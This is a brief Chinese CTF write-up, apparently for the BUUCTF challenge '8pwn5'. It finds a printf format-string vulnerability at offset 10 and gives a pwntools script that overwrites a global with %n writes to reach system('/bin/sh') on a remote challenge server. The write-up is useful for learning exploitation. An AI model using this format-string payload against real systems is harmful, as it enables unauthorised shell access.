1.checksec+运行
32位/NX保护/canary保护
2.IDA进行中
1.main()函数
printf()函数 考虑格式化字符串漏洞
通过0x61616161可以确定参数在第10个位置上
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
如何拿到binsh程序也给出了
直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell
跟进dword_804C044看看是什么情况
0x48-0x44
0x804c044/0x804c045/ 0x804c046/0x804c047
需要修改具体四个位置
对应的
%10$n%11$n%12$n%13$n
3.脚本
from pwn import*
#p=process('./8pwn5')
p=remote("node4.buuoj.cn",25682)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))//交互需要发送四字节字符串
p.interactive()